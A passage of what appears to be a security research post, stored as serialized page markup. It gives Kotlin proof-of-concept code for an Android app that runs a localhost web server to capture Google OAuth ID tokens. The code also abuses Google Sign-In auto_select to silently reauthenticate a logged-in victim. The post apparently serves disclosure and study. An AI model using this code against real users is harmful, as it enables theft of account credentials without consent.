   }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[98041],{"type":23,"tag":135,"props":98042,"children":98043},{"__ignoreMap":7},[98044,98073,98092,98099,98106,98125,98136,98147,98178,98201,98248,98255,98262,98269,98276,98296,98327,98338,98345,98352,98371,98394,98405,98424,98439,98450,98473,98508,98527,98534,98545,98568,98579,98591,98598,98605,98612,98619,98626,98653],{"type":23,"tag":139,"props":98045,"children":98046},{"class":141,"line":142},[98047,98052,98056,98060,98064,98068],{"type":23,"tag":139,"props":98048,"children":98049},{"style":279},[98050],{"type":28,"value":98051}," override",{"type":23,"tag":139,"props":98053,"children":98054},{"style":279},[98055],{"type":28,"value":4210},{"type":23,"tag":139,"props":98057,"children":98058},{"style":245},[98059],{"type":28,"value":68355},{"type":23,"tag":139,"props":98061,"children":98062},{"style":259},[98063],{"type":28,"value":68360},{"type":23,"tag":139,"props":98065,"children":98066},{"style":305},[98067],{"type":28,"value":68365},{"type":23,"tag":139,"props":98069,"children":98070},{"style":259},[98071],{"type":28,"value":98072},"?){\n",{"type":23,"tag":139,"props":98074,"children":98075},{"class":141,"line":151},[98076,98080,98084,98088],{"type":23,"tag":139,"props":98077,"children":98078},{"style":279},[98079],{"type":28,"value":68378},{"type":23,"tag":139,"props":98081,"children":98082},{"style":259},[98083],{"type":28,"value":73},{"type":23,"tag":139,"props":98085,"children":98086},{"style":245},[98087],{"type":28,"value":68387},{"type":23,"tag":139,"props":98089,"children":98090},{"style":259},[98091],{"type":28,"value":68392},{"type":23,"tag":139,"props":98093,"children":98094},{"class":141,"line":160},[98095],{"type":23,"tag":139,"props":98096,"children":98097},{"emptyLinePlaceholder":15},[98098],{"type":28,"value":184},{"type":23,"tag":139,"props":98100,"children":98101},{"class":141,"line":169},[98102],{"type":23,"tag":139,"props":98103,"children":98104},{"style":958},[98105],{"type":28,"value":68407},{"type":23,"tag":139,"props":98107,"children":98108},{"class":141,"line":178},[98109,98113,98117,98121],{"type":23,"tag":139,"props":98110,"children":98111},{"style":245},[98112],{"type":28,"value":68415},{"type":23,"tag":139,"props":98114,"children":98115},{"style":259},[98116],{"type":28,"value":68420},{"type":23,"tag":139,"props":98118,"children":98119},{"style":245},[98120],{"type":28,"value":68425},{"type":23,"tag":139,"props":98122,"children":98123},{"style":259},[98124],{"type":28,"value":1268},{"type":23,"tag":139,"props":98126,"children":98127},{"class":141,"line":187},[98128,98132],{"type":23,"tag":139,"props":98129,"children":98130},{"style":319},[98131],{"type":28,"value":68437},{"type":23,"tag":139,"props":98133,"children":98134},{"style":259},[98135],{"type":28,"value":1268},{"type":23,"tag":139,"props":98137,"children":98138},{"class":141,"line":196},[98139,98143],{"type":23,"tag":139,"props":98140,"children":98141},{"style":245},[98142],{"type":28,"value":68449},{"type":23,"tag":139,"props":98144,"children":98145},{"style":259},[98146],{"type":28,"value":5739},{"type":23,"tag":139,"props":98148,"children":98149},{"class":141,"line":205},[98150,98154,98158,98162,98166,98170,98174],{"type":23,"tag":139,"props":98151,"children":98152},{"style":259},[98153],{"type":28,"value":68461},{"type":23,"tag":139,"props":98155,"children":98156},{"style":245},[98157],{"type":28,"value":68466},{"type":23,"tag":139,"props":98159,"children":98160},{"style":259},[98161],{"type":28,"value":262},{"type":23,"tag":139,"props":98163,"children":98164},{"style":265},[98165],{"type":28,"value":68475},{"type":23,"tag":139,"props":98167,"children":98168},{"style":259},[98169],{"type":28,"value":1052},{"type":23,"tag":139,"props":98171,"children":98172},{"style":265},[98173],{"type":28,"value":68484},{"type":23,"tag":139,"props":98175,"children":98176},{"style":259},[98177],{"type":28,"value":273},{"type":23,"tag":139,"props":98179,"children":98180},{"class":141,"line":214},[98181,98185,98189,98193,98197],{"type":23,"tag":139,"props":98182,"children":98183},{"style":259},[98184],{"type":28,"value":68496},{"type":23,"tag":139,"props":98186,"children":98187},{"style":279},[98188],{"type":28,"value":46308},{"type":23,"tag":139,"props":98190,"children":98191},{"style":259},[98192],{"type":28,"value":68505},{"type":23,"tag":139,"props":98194,"children":98195},{"style":305},[98196],{"type":28,"value":68510},{"type":23,"tag":139,"props":98198,"children":98199},{"style":259},[98200],{"type":28,"value":12815},{"type":23,"tag":139,"props":98202,"children":98203},{"class":141,"line":1320},[98204,98208,98212,98216,98220,98224,98228,98232,98236,98240,98244],{"type":23,"tag":139,"props":98205,"children":98206},{"style":259},[98207],{"type":28,"value":68461},{"type":23,"tag":139,"props":98209,"children":98210},{"style":245},[98211],{"type":28,"value":49352},{"type":23,"tag":139,"props":98213,"children":98214},{"style":259},[98215],{"type":28,"value":262},{"type":23,"tag":139,"props":98217,"children":98218},{"style":265},[98219],{"type":28,"value":68475},{"type":23,"tag":139,"props":98221,"children":98222},{"style":259},[98223],{"type":28,"value":1052},{"type":23,"tag":139,"props":98225,"children":98226},{"style":265},[98227],{"type":28,"value":68542},{"type":23,"tag":139,"props":98229,"children":98230},{"style":279},[98231],{"type":28,"value":31997},{"type":23,"tag":139,"props":98233,"children":98234},{"style":982},[98235],{"type":28,"value":68551},{"type":23,"tag":139,"props":98237,"children":98238},{"style":279},[98239],{"type":28,"value":32029},{"type":23,"tag":139,"props":98241,"children":98242},{"style":265},[98243],{"type":28,"value":18067},{"type":23,"tag":139,"props":98245,"children":98246},{"style":259},[98247],{"type":28,"value":68564},{"type":23,"tag":139,"props":98249,"children":98250},{"class":141,"line":1329},[98251],{"type":23,"tag":139,"props":98252,"children":98253},{"style":259},[98254],{"type":28,"value":56784},{"type":23,"tag":139,"props":98256,"children":98257},{"class":141,"line":1580},[98258],{"type":23,"tag":139,"props":98259,"children":98260},{"style":259},[98261],{"type":28,"value":1326},{"type":23,"tag":139,"props":98263,"children":98264},{"class":141,"line":1597},[98265],{"type":23,"tag":139,"props":98266,"children":98267},{"emptyLinePlaceholder":15},[98268],{"type":28,"value":184},{"type":23,"tag":139,"props":98270,"children":98271},{"class":141,"line":1614},[98272],{"type":23,"tag":139,"props":98273,"children":98274},{"style":958},[98275],{"type":28,"value":68593},{"type":23,"tag":139,"props":98277,"children":98278},{"class":141,"line":1627},[98279,98283,98287,98291],{"type":23,"tag":139,"props":98280,"children":98281},{"style":279},[98282],{"type":28,"value":68601},{"type":23,"tag":139,"props":98284,"children":98285},{"style":259},[98286],{"type":28,"value":68606},{"type":23,"tag":139,"props":98288,"children":98289},{"style":982},[98290],{"type":28,"value":1067},{"type":23,"tag":139,"props":98292,"children":98293},{"style":265},[98294],{"type":28,"value":98295}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":139,"props":98297,"children":98298},{"class":141,"line":1636},[98299,98303,98307,98311,98315,98319,98323],{"type":23,"tag":139,"props":98300,"children":98301},{"style":279},[98302],{"type":28,"value":68601},{"type":23,"tag":139,"props":98304,"children":98305},{"style":259},[98306],{"type":28,"value":68627},{"type":23,"tag":139,"props":98308,"children":98309},{"style":982},[98310],{"type":28,"value":1067},{"type":23,"tag":139,"props":98312,"children":98313},{"style":245},[98314],{"type":28,"value":68636},{"type":23,"tag":139,"props":98316,"children":98317},{"style":259},[98318],{"type":28,"value":68641},{"type":23,"tag":139,"props":98320,"children":98321},{"style":245},[98322],{"type":28,"value":37102},{"type":23,"tag":139,"props":98324,"children":98325},{"style":259},[98326],{"type":28,"value":68650},{"type":23,"tag":139,"props":98328,"children":98329},{"class":141,"line":1659},[98330,98334],{"type":23,"tag":139,"props":98331,"children":98332},{"style":245},[98333],{"type":28,"value":68658},{"type":23,"tag":139,"props":98335,"children":98336},{"style":259},[98337],{"type":28,"value":68663},{"type":23,"tag":139,"props":98339,"children":98340},{"class":141,"line":1667},[98341],{"type":23,"tag":139,"props":98342,"children":98343},{"style":259},[98344],{"type":28,"value":1335},{"type":23,"tag":139,"props":98346,"children":98347},{"class":141,"line":1676},[98348],{"type":23,"tag":139,"props":98349,"children":98350},{"emptyLinePlaceholder":15},[98351],{"type":28,"value":184},{"type":23,"tag":139,"props":98353,"children":98354},{"class":141,"line":1745},[98355,98359,98363,98367],{"type":23,"tag":139,"props":98356,"children":98357},{"style":279},[98358],{"type":28,"value":68685},{"type":23,"tag":139,"props":98360,"children":98361},{"style":279},[98362],{"type":28,"value":4210},{"type":23,"tag":139,"props":98364,"children":98365},{"style":245},[98366],{"type":28,"value":68694},{"type":23,"tag":139,"props":98368,"children":98369},{"style":259},[98370],{"type":28,"value":13747},{"type":23,"tag":139,"props":98372,"children":98373},{"class":141,"line":1753},[98374,98378,98382,98386,98390],{"type":23,"tag":139,"props":98375,"children":98376},{"style":245},[98377],{"type":28,"value":68706},{"type":23,"tag":139,"props":98379,"children":98380},{"style":259},[98381],{"type":28,"value":68711},{"type":23,"tag":139,"props":98383,"children":98384},{"style":982},[98385],{"type":28,"value":1067},{"type":23,"tag":139,"props":98387,"children":98388},{"style":1016},[98389],{"type":28,"value":68720},{"type":23,"tag":139,"props":98391,"children":98392},{"style":259},[98393],{"type":28,"value":12815},{"type":23,"tag":139,"props":98395,"children":98396},{"class":141,"line":1783},[98397,98401],{"type":23,"tag":139,"props":98398,"children":98399},{"style":245},[98400],{"type":28,"value":68732},{"type":23,"tag":139,"props":98402,"children":98403},{"style":259},[98404],{"type":28,"value":1268},{"type":23,"tag":139,"props":98406,"children":98407},{"class":141,"line":1791},[98408,98412,98416,98420],{"type":23,"tag":139,"props":98409,"children":98410},{"style":279},[98411],{"type":28,"value":68744},{"type":23,"tag":139,"props":98413,"children":98414},{"style":259},[98415],{"type":28,"value":262},{"type":23,"tag":139,"props":98417,"children":98418},{"style":265},[98419],{"type":28,"value":68753},{"type":23,"tag":139,"props":98421,"children":98422},{"style":259},[98423],{"type":28,"value":12815},{"type":23,"tag":139,"props":98425,"children":98426},{"class":141,"line":1823},[98427,98431,98435],{"type":23,"tag":139,"props":98428,"children":98429},{"style":259},[98430],{"type":28,"value":68765},{"type":23,"tag":139,"props":98432,"children":98433},{"style":245},[98434],{"type":28,"value":68770},{"type":23,"tag":139,"props":98436,"children":98437},{"style":259},[98438],{"type":28,"value":1268},{"type":23,"tag":139,"props":98440,"children":98441},{"class":141,"line":1831},[98442,98446],{"type":23,"tag":139,"props":98443,"children":98444},{"style":245},[98445],{"type":28,"value":68782},{"type":23,"tag":139,"props":98447,"children":98448},{"style":259},[98449],{"type":28,"value":1268},{"type":23,"tag":139,"props":98451,"children":98452},{"class":141,"line":1891},[98453,98457,98461,98465,98469],{"type":23,"tag":139,"props":98454,"children":98455},{"style":245},[98456],{"type":28,"value":68794},{"type":23,"tag":139,"props":98458,"children":98459},{"style":259},[98460],{"type":28,"value":68799},{"type":23,"tag":139,"props":98462,"children":98463},{"style":982},[98464],{"type":28,"value":1067},{"type":23,"tag":139,"props":98466,"children":98467},{"style":265},[98468],{"type":28,"value":68808},{"type":23,"tag":139,"props":98470,"children":98471},{"style":259},[98472],{"type":28,"value":273},{"type":23,"tag":139,"props":98474,"children":98475},{"class":141,"line":7053},[98476,98480,98484,98488,98492,98496,98500,98504],{"type":23,"tag":139,"props":98477,"children":98478},{"style":245},[98479],{"type":28,"value":68794},{"type":23,"tag":139,"props":98481,"children":98482},{"style":259},[98483],{"type":28,"value":68824},{"type":23,"tag":139,"props":98485,"children":98486},{"style":982},[98487],{"type":28,"value":1067},{"type":23,"tag":139,"props":98489,"children":98490},{"style":265},[98491],{"type":28,"value":68833},{"type":23,"tag":139,"props":98493,"children":98494},{"style":259},[98495],{"type":28,"value":68838},{"type":23,"tag":139,"props":98497,"children":98498},{"style":982},[98499],{"type":28,"value":1067},{"type":23,"tag":139,"props":98501,"children":98502},{"style":265},[98503],{"type":28,"value":68847},{"type":23,"tag":139,"props":98505,"children":98506},{"style":259},[98507],{"type":28,"value":273},{"type":23,"tag":139,"props":98509,"children":98510},{"class":141,"line":7071},[98511,98515,98519,98523],{"type":23,"tag":139,"props":98512,"children":98513},{"style":245},[98514],{"type":28,"value":68859},{"type":23,"tag":139,"props":98516,"children":98517},{"style":259},[98518],{"type":28,"value":262},{"type":23,"tag":139,"props":98520,"children":98521},{"style":265},[98522],{"type":28,"value":68868},{"type":23,"tag":139,"props":98524,"children":98525},{"style":259},[98526],{"type":28,"value":273},{"type":23,"tag":139,"props":98528,"children":98529},{"class":141,"line":7116},[98530],{"type":23,"tag":139,"props":98531,"children":98532},{"style":259},[98533],{"type":28,"value":68880},{"type":23,"tag":139,"props":98535,"children":98536},{"class":141,"line":7222},[98537,98541],{"type":23,"tag":139,"props":98538,"children":98539},{"style":245},[98540],{"type":28,"value":68888},{"type":23,"tag":139,"props":98542,"children":98543},{"style":259},[98544],{"type":28,"value":1268},{"type":23,"tag":139,"props":98546,"children":98547},{"class":141,"line":21518},[98548,98552,98556,98560,98564],{"type":23,"tag":139,"props":98549,"children":98550},{"style":245},[98551],{"type":28,"value":68900},{"type":23,"tag":139,"props":98553,"children":98554},{"style":259},[98555],{"type":28,"value":7594},{"type":23,"tag":139,"props":98557,"children":98558},{"style":982},[98559],{"type":28,"value":2382},{"type":23,"tag":139,"props":98561,"children":98562},{"style":265},[98563],{"type":28,"value":68913},{"type":23,"tag":139,"props":98565,"children":98566},{"style":259},[98567],{"type":28,"value":7604},{"type":23,"tag":139,"props":98569,"children":98570},{"class":141,"line":21553},[98571,98575],{"type":23,"tag":139,"props":98572,"children":98573},{"style":245},[98574],{"type":28,"value":68925},{"type":23,"tag":139,"props":98576,"children":98577},{"style":259},[98578],{"type":28,"value":1268},{"type":23,"tag":139,"props":98580,"children":98581},{"class":141,"line":21561},[98582,98586],{"type":23,"tag":139,"props":98583,"children":98584},{"style":982},[98585],{"type":28,"value":68937},{"type":23,"tag":139,"props":98587,"children":98588},{"style":265},[98589],{"type":28,"value":98590},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":139,"props":98592,"children":98593},{"class":141,"line":21569},[98594],{"type":23,"tag":139,"props":98595,"children":98596},{"style":259},[98597],{"type":28,"value":68950},{"type":23,"tag":139,"props":98599,"children":98600},{"class":141,"line":21578},[98601],{"type":23,"tag":139,"props":98602,"children":98603},{"style":259},[98604],{"type":28,"value":68880},{"type":23,"tag":139,"props":98606,"children":98607},{"class":141,"line":21620},[98608],{"type":23,"tag":139,"props":98609,"children":98610},{"style":259},[98611],{"type":28,"value":68965},{"type":23,"tag":139,"props":98613,"children":98614},{"class":141,"line":21653},[98615],{"type":23,"tag":139,"props":98616,"children":98617},{"style":259},[98618],{"type":28,"value":68973},{"type":23,"tag":139,"props":98620,"children":98621},{"class":141,"line":21661},[98622],{"type":23,"tag":139,"props":98623,"children":98624},{"style":259},[98625],{"type":28,"value":56784},{"type":23,"tag":139,"props":98627,"children":98628},{"class":141,"line":21669},[98629,98633,98637,98641,98645,98649],{"type":23,"tag":139,"props":98630,"children":98631},{"style":259},[98632],{"type":28,"value":68988},{"type":23,"tag":139,"props":98634,"children":98635},{"style":245},[98636],{"type":28,"value":68993},{"type":23,"tag":139,"props":98638,"children":98639},{"style":259},[98640],{"type":28,"value":68998},{"type":23,"tag":139,"props":98642,"children":98643},{"style":982},[98644],{"type":28,"value":1067},{"type":23,"tag":139,"props":98646,"children":98647},{"style":279},[98648],{"type":28,"value":10480},{"type":23,"tag":139,"props":98650,"children":98651},{"style":259},[98652],{"type":28,"value":273},{"type":23,"tag":139,"props":98654,"children":98655},{"class":141,"line":21678},[98656],{"type":23,"tag":139,"props":98657,"children":98658},{"style":259},[98659],{"type":28,"value":1335},{"type":23,"tag":24,"props":98661,"children":98662},{},[98663],{"type":28,"value":98664},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":98666,"children":98667},{},[98668,98670,98676],{"type":28,"value":98669},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":135,"props":98671,"children":98673},{"className":98672},[],[98674],{"type":28,"value":98675},"auto_select",{"type":28,"value":98677}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":128,"props":98679,"children":98681},{"className":98037,"code":98680,"language":98039,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[98682],{"type":23,"tag":135,"props":98683,"children":98684},{"__ignoreMap":7},[98685,98712,98731,98738,98757,98768,98779,98810,98833,98880,98887,98894,98901,98941,98952,98959,98966,98985,99008,99019,99038,99053,99064,99084,99095,99112,99138,99162,99169,99180,99192,99205,99213,99221,99228,99235,99243,99251,99259,99267,99275,99283,99291,99298,99305,99313,99321,99329,99336,99343,99351,99358,99379,99387,99394,99401,99412,99436,99448,99465,99472,99479,99487,99495,99503,99531],{"type":23,"tag":139,"props":98686,"children":98687},{"class":141,"line":142},[98688,98692,98696,98700,98704,98708],{"type":23,"tag":139,"props":98689,"children":98690},{"style":279},[98691],{"type":28,"value":68346},{"type":23,"tag":139,"props":98693,"children":98694},{"style":279},[98695],{"type":28,"value":4210},{"type":23,"tag":139,"props":98697,"children":98698},{"style":245},[98699],{"type":28,"value":68355},{"type":23,"tag":139,"props":98701,"children":98702},{"style":259},[98703],{"type":28,"value":68360},{"type":23,"tag":139,"props":98705,"children":98706},{"style":305},[98707],{"type":28,"value":68365},{"type":23,"tag":139,"props":98709,"children":98710},{"style":259},[98711],{"type":28,"value":68370},{"type":23,"tag":139,"props":98713,"children":98714},{"class":141,"line":151},[98715,98719,98723,98727],{"type":23,"tag":139,"props":98716,"children":98717},{"style":279},[98718],{"type":28,"value":68378},{"type":23,"tag":139,"props":98720,"children":98721},{"style":259},[98722],{"type":28,"value":73},{"type":23,"tag":139,"props":98724,"children":98725},{"style":245},[98726],{"type":28,"value":68387},{"type":23,"tag":139,"props":98728,"children":98729},{"style":259},[98730],{"type":28,"value":68392},{"type":23,"tag":139,"props":98732,"children":98733},{"class":141,"line":160},[98734],{"type":23,"tag":139,"props":98735,"children":98736},{"emptyLinePlaceholder":15},[98737],{"type":28,"value":184},{"type":23,"tag":139,"props":98739,"children":98740},{"class":141,"line":169},[98741,98745,98749,98753],{"type":23,"tag":139,"props":98742,"children":98743},{"style":245},[98744],{"type":28,"value":68415},{"type":23,"tag":139,"props":98746,"children":98747},{"style":259},[98748],{"type":28,"value":68420},{"type":23,"tag":139,"props":98750,"children":98751},{"style":245},[98752],{"type":28,"value":68425},{"type":23,"tag":139,"props":98754,"children":98755},{"style":259},[98756],{"type":28,"value":1268},{"type":23,"tag":139,"props":98758,"children":98759},{"class":141,"line":178},[98760,98764],{"type":23,"tag":139,"props":98761,"children":98762},{"style":319},[98763],{"type":28,"value":68437},{"type":23,"tag":139,"props":98765,"children":98766},{"style":259},[98767],{"type":28,"value":1268},{"type":23,"tag":139,"props":98769,"children":98770},{"class":141,"line":187},[98771,98775],{"type":23,"tag":139,"props":98772,"children":98773},{"style":245},[98774],{"type":28,"value":68449},{"type":23,"tag":139,"props":98776,"children":98777},{"style":259},[98778],{"type":28,"value":5739},{"type":23,"tag":139,"props":98780,"children":98781},{"class":141,"line":196},[98782,98786,98790,98794,98798,98802,98806],{"type":23,"tag":139,"props":98783,"children":98784},{"style":259},[98785],{"type":28,"value":68461},{"type":23,"tag":139,"props":98787,"children":98788},{"style":245},[98789],{"type":28,"value":68466},{"type":23,"tag":139,"props":98791,"children":98792},{"style":259},[98793],{"type":28,"value":262},{"type":23,"tag":139,"props":98795,"children":98796},{"style":265},[98797],{"type":28,"value":68475},{"type":23,"tag":139,"props":98799,"children":98800},{"style":259},[98801],{"type":28,"value":1052},{"type":23,"tag":139,"props":98803,"children":98804},{"style":265},[98805],{"type":28,"value":68484},{"type":23,"tag":139,"props":98807,"children":98808},{"style":259},[98809],{"type":28,"value":273},{"type":23,"tag":139,"props":98811,"children":98812},{"class":141,"line":205},[98813,98817,98821,98825,98829],{"type":23,"tag":139,"props":98814,"children":98815},{"style":259},[98816],{"type":28,"value":68496},{"type":23,"tag":139,"props":98818,"children":98819},{"style":279},[98820],{"type":28,"value":46308},{"type":23,"tag":139,"props":98822,"children":98823},{"style":259},[98824],{"type":28,"value":68505},{"type":23,"tag":139,"props":98826,"children":98827},{"style":305},[98828],{"type":28,"value":68510},{"type":23,"tag":139,"props":98830,"children":98831},{"style":259},[98832],{"type":28,"value":12815},{"type":23,"tag":139,"props":98834,"children":98835},{"class":141,"line":214},[98836,98840,98844,98848,98852,98856,98860,98864,98868,98872,98876],{"type":23,"tag":139,"props":98837,"children":98838},{"style":259},[98839],{"type":28,"value":68461},{"type":23,"tag":139,"props":98841,"children":98842},{"style":245},[98843],{"type":28,"value":49352},{"type":23,"tag":139,"props":98845,"children":98846},{"style":259},[98847],{"type":28,"value":262},{"type":23,"tag":139,"props":98849,"children":98850},{"style":265},[98851],{"type":28,"value":68475},{"type":23,"tag":139,"props":98853,"children":98854},{"style":259},[98855],{"type":28,"value":1052},{"type":23,"tag":139,"props":98857,"children":98858},{"style":265},[98859],{"type":28,"value":68542},{"type":23,"tag":139,"props":98861,"children":98862},{"style":279},[98863],{"type":28,"value":31997},{"type":23,"tag":139,"props":98865,"children":98866},{"style":982},[98867],{"type":28,"value":68551},{"type":23,"tag":139,"props":98869,"children":98870},{"style":279},[98871],{"type":28,"value":32029},{"type":23,"tag":139,"props":98873,"children":98874},{"style":265},[98875],{"type":28,"value":18067},{"type":23,"tag":139,"props":98877,"children":98878},{"style":259},[98879],{"type":28,"value":68564},{"type":23,"tag":139,"props":98881,"children":98882},{"class":141,"line":1320},[98883],{"type":23,"tag":139,"props":98884,"children":98885},{"style":259},[98886],{"type":28,"value":56784},{"type":23,"tag":139,"props":98888,"children":98889},{"class":141,"line":1329},[98890],{"type":23,"tag":139,"props":98891,"children":98892},{"style":259},[98893],{"type":28,"value":1326},{"type":23,"tag":139,"props":98895,"children":98896},{"class":141,"line":1580},[98897],{"type":23,"tag":139,"props":98898,"children":98899},{"emptyLinePlaceholder":15},[98900],{"type":28,"value":184},{"type":23,"tag":139,"props":98902,"children":98903},{"class":141,"line":1597},[98904,98908,98912,98916,98920,98924,98928,98932,98937],{"type":23,"tag":139,"props":98905,"children":98906},{"style":279},[98907],{"type":28,"value":68601},{"type":23,"tag":139,"props":98909,"children":98910},{"style":259},[98911],{"type":28,"value":68627},{"type":23,"tag":139,"props":98913,"children":98914},{"style":982},[98915],{"type":28,"value":1067},{"type":23,"tag":139,"props":98917,"children":98918},{"style":245},[98919],{"type":28,"value":68636},{"type":23,"tag":139,"props":98921,"children":98922},{"style":259},[98923],{"type":28,"value":68641},{"type":23,"tag":139,"props":98925,"children":98926},{"style":245},[98927],{"type":28,"value":37102},{"type":23,"tag":139,"props":98929,"children":98930},{"style":259},[98931],{"type":28,"value":262},{"type":23,"tag":139,"props":98933,"children":98934},{"style":265},[98935],{"type":28,"value":98936},"\"http://localhost:3000\"",{"type":23,"tag":139,"props":98938,"children":98939},{"style":259},[98940],{"type":28,"value":17719},{"type":23,"tag":139,"props":98942,"children":98943},{"class":141,"line":1614},[98944,98948],{"type":23,"tag":139,"props":98945,"children":98946},{"style":245},[98947],{"type":28,"value":68658},{"type":23,"tag":139,"props":98949,"children":98950},{"style":259},[98951],{"type":28,"value":68663},{"type":23,"tag":139,"props":98953,"children":98954},{"class":141,"line":1627},[98955],{"type":23,"tag":139,"props":98956,"children":98957},{"style":259},[98958],{"type":28,"value":1335},{"type":23,"tag":139,"props":98960,"children":98961},{"class":141,"line":1636},[98962],{"type":23,"tag":139,"props":98963,"children":98964},{"emptyLinePlaceholder":15},[98965],{"type":28,"value":184},{"type":23,"tag":139,"props":98967,"children":98968},{"class":141,"line":1659},[98969,98973,98977,98981],{"type":23,"tag":139,"props":98970,"children":98971},{"style":279},[98972],{"type":28,"value":68685},{"type":23,"tag":139,"props":98974,"children":98975},{"style":279},[98976],{"type":28,"value":4210},{"type":23,"tag":139,"props":98978,"children":98979},{"style":245},[98980],{"type":28,"value":68694},{"type":23,"tag":139,"props":98982,"children":98983},{"style":259},[98984],{"type":28,"value":13747},{"type":23,"tag":139,"props":98986,"children":98987},{"class":141,"line":1667},[98988,98992,98996,99000,99004],{"type":23,"tag":139,"props":98989,"children":98990},{"style":245},[98991],{"type":28,"value":68706},{"type":23,"tag":139,"props":98993,"children":98994},{"style":259},[98995],{"type":28,"value":68711},{"type":23,"tag":139,"props":98997,"children":98998},{"style":982},[98999],{"type":28,"value":1067},{"type":23,"tag":139,"props":99001,"children":99002},{"style":1016},[99003],{"type":28,"value":68720},{"type":23,"tag":139,"props":99005,"children":99006},{"style":259},[99007],{"type":28,"value":12815},{"type":23,"tag":139,"props":99009,"children":99010},{"class":141,"line":1676},[99011,99015],{"type":23,"tag":139,"props":99012,"children":99013},{"style":245},[99014],{"type":28,"value":68732},{"type":23,"tag":139,"props":99016,"children":99017},{"style":259},[99018],{"type":28,"value":1268},{"type":23,"tag":139,"props":99020,"children":99021},{"class":141,"line":1745},[99022,99026,99030,99034],{"type":23,"tag":139,"props":99023,"children":99024},{"style":279},[99025],{"type":28,"value":68744},{"type":23,"tag":139,"props":99027,"children":99028},{"style":259},[99029],{"type":28,"value":262},{"type":23,"tag":139,"props":99031,"children":99032},{"style":265},[99033],{"type":28,"value":68753},{"type":23,"tag":139,"props":99035,"children":99036},{"style":259},[99037],{"type":28,"value":12815},{"type":23,"tag":139,"props":99039,"children":99040},{"class":141,"line":1753},[99041,99045,99049],{"type":23,"tag":139,"props":99042,"children":99043},{"style":259},[99044],{"type":28,"value":68765},{"type":23,"tag":139,"props":99046,"children":99047},{"style":245},[99048],{"type":28,"value":68770},{"type":23,"tag":139,"props":99050,"children":99051},{"style":259},[99052],{"type":28,"value":1268},{"type":23,"tag":139,"props":99054,"children":99055},{"class":141,"line":1783},[99056,99060],{"type":23,"tag":139,"props":99057,"children":99058},{"style":245},[99059],{"type":28,"value":68782},{"type":23,"tag":139,"props":99061,"children":99062},{"style":259},[99063],{"type":28,"value":1268},{"type":23,"tag":139,"props":99065,"children":99066},{"class":141,"line":1791},[99067,99071,99075,99080],{"type":23,"tag":139,"props":99068,"children":99069},{"style":245},[99070],{"type":28,"value":68859},{"type":23,"tag":139,"props":99072,"children":99073},{"style":259},[99074],{"type":28,"value":262},{"type":23,"tag":139,"props":99076,"children":990